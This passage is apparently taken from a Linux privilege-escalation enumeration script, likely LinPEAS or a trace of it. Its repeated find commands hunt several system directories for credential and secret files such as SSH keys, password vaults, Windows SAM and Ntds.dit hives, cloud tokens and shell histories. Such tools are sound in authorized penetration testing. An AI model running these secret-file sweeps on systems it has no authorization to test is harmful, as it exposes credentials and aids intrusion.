\"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_PRIVATE=`eval_bckgrd "find ${ROOT_FOLDER}private -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_RUN=`eval_bckgrd "find ${ROOT_FOLDER}run -name \"*.socket\" -o -name \"*.service\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SBIN=`eval_bckgrd "find ${ROOT_FOLDER}sbin -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SNAP=`eval_bckgrd "find ${ROOT_FOLDER}snap -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_SRV=`eval_bckgrd "find ${ROOT_FOLDER}srv -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name 